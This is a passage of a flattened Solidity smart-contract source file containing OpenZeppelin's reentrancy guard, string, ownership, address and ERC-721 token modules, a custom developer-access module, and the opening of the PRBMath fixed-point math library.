ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: contracts/access/DeveloperAccess.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an developer) that can be granted exclusive access to * specific functions. * * By default, the developer account will be the one that deploys the contract. This * can later be changed with {transferDevelopership}. * * This module is used through inheritance. It will make available the modifier * `onlyDeveloper`, which can be applied to your functions to restrict their use to * the developer. */ abstract contract DeveloperAccess is Context { address private _developer; event DevelopershipTransferred(address indexed previousDeveloper, address indexed newDeveloper); /** * @dev Initializes the contract setting the deployer as the initial developer. */ constructor(address dev) { _setDeveloper(dev); } /** * @dev Returns the address of the current developer. */ function developer() public view virtual returns (address) { return _developer; } /** * @dev Throws if called by any account other than the developer. */ modifier onlyDeveloper() { require(developer() == _msgSender(), "Ownable: caller is not the developer"); _; } /** * @dev Leaves the contract without developer. It will not be possible to call * `onlyDeveloper` functions anymore. Can only be called by the current developer. * * NOTE: Renouncing developership will leave the contract without an developer, * thereby removing any functionality that is only available to the developer. */ function renounceDevelopership() public virtual onlyDeveloper { _setDeveloper(address(0)); } /** * @dev Transfers developership of the contract to a new account (`newDeveloper`). * Can only be called by the current developer. */ function transferDevelopership(address newDeveloper) public virtual onlyDeveloper { require(newDeveloper != address(0), "Ownable: new developer is the zero address"); _setDeveloper(newDeveloper); } function _setDeveloper(address newDeveloper) private { address oldDeveloper = _developer; _developer = newDeveloper; emit DevelopershipTransferred(oldDeveloper, newDeveloper); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: prb-math/contracts/PRBMath.sol pragma solidity >=0.8.4; /// @notice Emitted when the result overflows uint256. error PRBMath__MulDivFixedPointOverflow(uint256 prod1); /// @notice Emitted when the result overflows uint256. error PRBMath__MulDivOverflow(uint256 prod1, uint256 denominator); /// @notice Emitted when one of the inputs is type(int256).min. error PRBMath__MulDivSignedInputTooSmall(); /// @notice Emitted when the intermediary absolute result overflows int256. error PRBMath__MulDivSignedOverflow(uint256 rAbs); /// @notice Emitted when the input is MIN_SD59x18. error PRBMathSD59x18__AbsInputTooSmall(); /// @notice Emitted when ceiling a number overflows SD59x18. error PRBMathSD59x18__CeilOverflow(int256 x); /// @notice Emitted when one of the inputs is MIN_SD59x18. error PRBMathSD59x18__DivInputTooSmall(); /// @notice Emitted when one of the intermediary unsigned results overflows SD59x18. error PRBMathSD59x18__DivOverflow(uint256 rAbs); /// @notice Emitted when the input is greater than 133.084258667509499441. error PRBMathSD59x18__ExpInputTooBig(int256 x); /// @notice Emitted when the input is greater than 192. error PRBMathSD59x18__Exp2InputTooBig(int256 x); /// @notice Emitted when flooring a number underflows SD59x18. error PRBMathSD59x18__FloorUnderflow(int256 x); /// @notice Emitted when converting a basic integer to the fixed-point format overflows SD59x18. error PRBMathSD59x18__FromIntOverflow(int256 x); /// @notice Emitted when converting a basic integer to the fixed-point format underflows SD59x18. error PRBMathSD59x18__FromIntUnderflow(int256 x); /// @notice Emitted when the product of the inputs is negative. error PRBMathSD59x18__GmNegativeProduct(int256 x, int256 y); /// @notice Emitted when multiplying the inputs overflows SD59x18. error PRBMathSD59x18__GmOverflow(int256 x, int256 y); /// @notice Emitted when the input is less than or equal to zero. error PRBMathSD59x18__LogInputTooSmall(int256 x); /// @notice Emitted when one of the inputs is MIN_SD59x18. error PRBMathSD59x18__MulInputTooSmall(); /// @notice Emitted when the intermediary absolute result overflows SD59x18. error PRBMathSD59x18__MulOverflow(uint256 rAbs); /// @notice Emitted when the intermediary absolute result overflows SD59x18. error PRBMathSD59x18__PowuOverflow(uint256 rAbs); /// @notice Emitted when the input is negative. error PRBMathSD59x18__SqrtNegativeInput(int256 x); /// @notice Emitted when the calculating the square root overflows SD59x18. error PRBMathSD59x18__SqrtOverflow(int256 x); /// @notice Emitted when addition overflows UD60x18. error PRBMathUD60x18__AddOverflow(uint256 x, uint256 y); /// @notice Emitted when ceiling a number overflows UD60x18. error PRBMathUD60x18__CeilOverflow(uint256 x); /// @notice Emitted when the input is greater than 133.084258667509499441. error PRBMathUD60x18__ExpInputTooBig(uint256 x); /// @notice Emitted when the input is greater than 192. error PRBMathUD60x18__Exp2InputTooBig(uint256 x); /// @notice Emitted when converting a basic integer to the fixed-point format format overflows UD60x18. error PRBMathUD60x18__FromUintOverflow(uint256 x); /// @notice Emitted when multiplying the inputs overflows UD60x18. error PRBMathUD60x18__GmOverflow(uint256 x, uint256 y); /// @notice Emitted when the input is less than 1. error PRBMathUD60x18__LogInputTooSmall(uint256 x); /// @notice Emitted when the calculating the square root overflows UD60x18. error PRBMathUD60x18__SqrtOverflow(uint256 x); /// @notice Emitted when subtraction underflows UD60x18. error PRBMathUD60x18__SubUnderflow(uint256 x, uint256 y); /// @dev Common mathematical functions used in both PRBMathSD59x18 and PRBMathUD60x18. Note that this shared library /// does not always assume the signed 59.18-decimal fixed-point or the unsigned 60.18-decimal fixed-point /// representation. When it does not, it is explicitly mentioned in the NatSpec documentation. library PRBMath { /// STRUCTS /// struct SD59x18 { int256 value; } struct UD60x18 { uint256 value; } /// STORAGE /// /// @dev How many trailing decimals can be represented. uint256 internal constant SCALE = 1e18; /// @dev Largest power of two divisor of SCALE. uint256 internal constant SCALE_LPOTD = 262144; /// @dev SCALE inverted mod 2^256. uint256 internal constant SCALE_INVERSE = 78156646155174841979727994598816262306175212592076161876661_508869554232690281; /// FUNCTIONS /// /// @notice Calculates the binary exponent of x using the binary fraction method. /// @dev Has to use 192.64-bit fixed-point numbers. /// See https://ethereum.stackexchange.com/a/96594/24693. /// @param x The exponent as an unsigned 192.64-bit fixed-point number. /// @return result The result as an unsigned 60.18-decimal fixed-point number. function exp2(uint256 x) internal pure returns (uint256 result) { unchecked { // Start from 0.5 in the 192.64-bit fixed-point format. result = 0x800000000000000000000000000000000000000000000000; // Multiply the result by root(2, 2^-i) when the bit at position i is 1. None of the intermediary results overflows // because the initial result is 2^191 and all magic factors are less than 2^65. if (x & 0x8000000000000000 > 0) { result = (result * 0x16A09E667F3BCC909) >> 64; } if (x & 0x4000000000000000 > 0) { result = (result * 0x1306FE0A31B7152DF) >> 64; } if (x & 0x2000000000000000 > 0) { result = (result * 0x1172B83C7D517ADCE) >> 64; } if (x & 0x1000000000000000 > 0) { result = (result * 0x10B5586CF9890F62A) >> 64; } if (x & 0x800000000000000 > 0) { result = (result * 0x1059B0D31585743AE) >> 64; } if (x & 0x400000000000000 > 0) { result = (result * 0x102C9A3E778060EE7) >> 64; } if (x & 0x200000000000000 > 0) { result = (result * 0x10163DA9FB33356D8) >> 64; } if (x & 0x100000000000000 > 0) { result = (result * 0x100B1AFA5ABCBED61) >> 64; } if (x & 0x80000000000000 > 0) { result = (result * 0x10058C86DA1C09EA2) >> 64; } if (x & 0x40000000000000 > 0) { result = (result * 0x1002C605E2E8CEC50) >> 64; } if (x & 0x20000000000000 > 0) { result = (result * 0x100162F3904051FA1) >> 64; } if (x & 0x10000000000000 